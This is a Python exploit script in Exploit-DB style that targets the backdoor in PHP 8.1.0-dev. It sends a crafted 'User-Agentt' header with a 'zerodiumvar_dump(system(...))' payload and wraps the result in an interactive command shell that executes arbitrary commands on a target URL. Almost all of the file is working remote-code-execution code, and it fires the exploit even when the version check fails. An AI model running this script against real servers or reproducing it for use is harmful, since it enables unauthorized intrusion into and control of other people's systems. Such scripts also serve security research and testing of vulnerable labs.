exploit.py

# Exploit Title: PHP 8.1.0-dev - 'zerodiumvar_dump' Remote Code Execution
# Date: 23-05-2021
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://www.php.net/
# Software Link: https://www.php.net/downloads.php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# CVE : N/A

#!/usr/bin/env python3

import requests
from cmd import Cmd
import re
import sys

if len(sys.argv) != 2:
    print("[+] Usage: python3 exploit.py <URL>")
    sys.exit()

url = sys.argv[1]

class Terminal(Cmd):
    prompt = "$ > "
    def default(self, args):
        exploiter(args)

def check_version():
    global url
    print("[+] PHP Version 8.1.0-dev exploit\n[+] Author: Musyoka Ian\n")
    print("[+] Checking PHP version")
    version = requests.get(url)
    version = version.headers
    php_version = version['X-Powered-By']
    print(f"[+] PHP version is {php_version}\n")
    if "8.1.0-dev" in php_version:
        print("[+] Seems Vulnerable!\n[+] Triggering the exploit\n")
    else:
        print("[-] Doesn't seem vulnerable\n[+] Triggering the exploit anyway\n")
def exploiter(command):
    global url
    session = requests.session()
    header = {"User-Agentt" : "zerodiumvar_dump(system($_REQUEST['cmd']));"}
    data = {"cmd" : f"{command} 2>&1; echo 'end_of_command'"}
    output = session.post(url, data = data, headers = header)
    output = re.search("(.*?)end_of_command", output.text, re.DOTALL).group(1)
    print(output)
    if not output:
        print("Error")
if __name__ == ("__main__"):
    check_version()
    terminal = Terminal()
    terminal.cmdloop()